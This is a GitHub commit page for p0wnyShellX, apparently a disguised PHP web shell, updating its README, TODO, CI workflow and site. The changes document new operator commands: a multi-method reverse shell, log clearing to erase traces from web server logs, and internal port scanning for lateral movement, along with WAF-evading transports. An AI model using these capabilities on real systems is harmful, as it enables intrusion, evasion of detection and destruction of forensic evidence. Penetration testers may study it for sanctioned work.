Skip to content

Commit d21a693

Browse files
committed
update docs, CI: revshell/clearlog/portscan, switch case count check
1 parent 3c09471 commit d21a693

4 files changed

Lines changed: 39 additions & 7 deletions

File tree

.github/workflows/ci.yml

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -130,6 +130,27 @@ jobs:
130130
done
131131
echo "RC4 transport: tEnc present, no plain param names."
132132
133+
- name: Verify all 7 switch cases are present
134+
run: |
135+
for f in /tmp/s1.php /tmp/s2.php /tmp/s3.php /tmp/s4.php /tmp/s5.php /tmp/s6.php /tmp/s7.php /tmp/s8.php /tmp/s9.php; do
136+
count=$(grep -c "case '" "$f" || true)
137+
if [ "$count" -ne 7 ]; then
138+
echo "FAIL: expected 7 switch cases in $f, got $count"
139+
exit 1
140+
fi
141+
done
142+
echo "Switch case count verified (7 per shell)."
143+
144+
- name: Verify mimic transport excludes new plain param names
145+
run: |
146+
for param in ip port logfile pattern target ports; do
147+
if grep -q "POST\['${param}'\]" /tmp/s6.php; then
148+
echo "FAIL: plain param name '${param}' found in mimic shell"
149+
exit 1
150+
fi
151+
done
152+
echo "Mimic transport: no new plain param names found."
153+
133154
- name: Verify bcrypt hash is present and valid
134155
run: |
135156
php -r "

README.md

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -78,12 +78,12 @@ flowchart LR
7878
| Communication | XOR+gzip+base64 in POST body, obfuscated header/footer | 3 modes: `plain` (cleartext), `mimic` (base64 + random param names), `rc4` (RC4 + per-build shuffled base64 alphabet) |
7979
| Interface | Python CLI client | Browser terminal — no tooling on operator machine |
8080
| Camouflage | Bare PHP snippet | Fake monitoring dashboard (3 themes) |
81-
| Modules | 30+ (reverse shell, SQL, net scan, proxy…) | Shell, upload, download, tab-complete |
81+
| Modules | 30+ (reverse shell, SQL, net scan, proxy…) | Shell, upload, download, tab-complete, reverse shell, log clearing, port scan |
8282
| Exec methods | 9 — `exec`, `shell_exec`, `system`, `passthru`, `popen`, `proc_open`, `pcntl_fork`, `python_eval`, `perl_system` — shuffled | 4–6 per build — `exec`, `shell_exec`, `system` always present; `passthru`, `popen`, `proc_open` randomly dropped (~30% each); weighted order (reliable methods tend first) |
8383
| `disable_functions` bypass | Yes — mod_cgi + `.htaccess` (Apache only, requires `AllowOverride` + write access) | No — not planned as a priority; the technique requires Apache + mod_cgi + AllowOverride + web-writable directory, which are rarely all met in prod |
84-
| Reverse shell | Yes | No (planned) |
85-
| Log clearing | Yes | No (planned) |
86-
| Port scan | Yes | No (planned) |
84+
| Reverse shell | Yes | Yes — `revshell <IP> <PORT>` (bash → python3 → perl → php, first available) |
85+
| Log clearing | Yes | Yes — `clearlog <file> <pattern>` strips matching lines in-place |
86+
| Port scan | Yes | Yes — `portscan <ip[-range]> <ports>` via fsockopen from the target host |
8787
| SQL console | Yes | No |
8888

8989
**Use Weevely when**: you need CLI automation, module ecosystem (SQL, reverse shell, scan), or obfuscated HTTP transport matters more than visual camouflage.
@@ -374,6 +374,9 @@ Once deployed and authenticated, the shell supports:
374374
| `cd /path` | Change working directory (persisted across commands) |
375375
| `download /path/to/file` | Download file to browser |
376376
| `upload /remote/path` | Upload local file via browser dialog |
377+
| `revshell <IP> <PORT>` | Spawn reverse shell — tries bash, python3, perl, php in order (first available wins) |
378+
| `clearlog <file> <pattern>` | Strip lines matching `<pattern>` (case-insensitive regex) in-place from `<file>` |
379+
| `portscan <ip[-range]> <ports>` | TCP port scan from the target host — e.g. `portscan 10.0.0.1-254 22,80,443` or `portscan 10.0.0.5 20-25,80` |
377380
| `clear` | Clear terminal output |
378381
| `Tab` | Autocomplete files and commands |
379382
| `↑ / ↓` | Command history navigation |

TODO.md

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,9 +3,6 @@
33
## Planned
44

55
- [ ] Obfuscated HTTP protocol — XOR+gzip+base64 for request and response payloads (à la Weevely), making POST body opaque to WAF inspection
6-
- [ ] Built-in reverse shell — `revshell <IP> <PORT>` command inside the terminal, multi-method (bash, python3, perl, php) with automatic fallback
7-
- [ ] Log clearing — `clearlog /var/log/apache2/access.log <pattern>` to strip matching lines in-place
8-
- [ ] Internal port scan — `portscan 10.0.0.1-254 22,80,443` for lateral movement recon from the target host
96

107
## Low priority / won't implement soon
118

@@ -24,3 +21,7 @@
2421
- [x] CI — polymorphism validation, bcrypt verification, PHP lint, static signature detection
2522
- [x] GitHub Releases — auto-generate 3 example shells (one per theme) on version tag push
2623
- [x] GitHub Pages — interactive command builder at franckferman.github.io/p0wnyShellX
24+
- [x] Built-in reverse shell — `revshell <IP> <PORT>` command, multi-method (bash, python3, perl, php) fallback chain
25+
- [x] Log clearing — `clearlog <file> <pattern>` strips matching lines in-place from any readable/writable file
26+
- [x] Internal port scan — `portscan <ip[-range]> <port[s]>` TCP scan via fsockopen from the target host
27+
- [x] UTF-8 output — `b64u()` helper using `decodeURIComponent(escape(atob(s)))` fixes mojibake on non-ASCII command output

docs/index.html

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -385,6 +385,13 @@ <h1 class="glitch" data-text="p0wnyShellX">p0wnyShellX</h1>
385385
<a class="lnk" href="https://github.com/franckferman/p0wnyShellX#readme" target="_blank" rel="noopener">Docs</a>
386386
</div>
387387

388+
<div style="margin:1.2rem auto 0;max-width:560px;border:1px solid #1c1c1c;border-radius:5px;padding:.7rem 1rem;font-size:.72rem;color:#555;line-height:1.7;letter-spacing:.03em;">
389+
<span style="color:#2ecc71;font-weight:700;">Built-in shell commands</span><br>
390+
<code style="color:#888;">revshell &lt;IP&gt; &lt;PORT&gt;</code> &mdash; reverse shell via bash / python3 / perl / php<br>
391+
<code style="color:#888;">clearlog &lt;file&gt; &lt;pattern&gt;</code> &mdash; strip matching lines from a log in-place<br>
392+
<code style="color:#888;">portscan &lt;ip[-range]&gt; &lt;ports&gt;</code> &mdash; TCP scan from the target host
393+
</div>
394+
388395
</div>
389396

390397
<footer>

0 commit comments

Comments
 (0)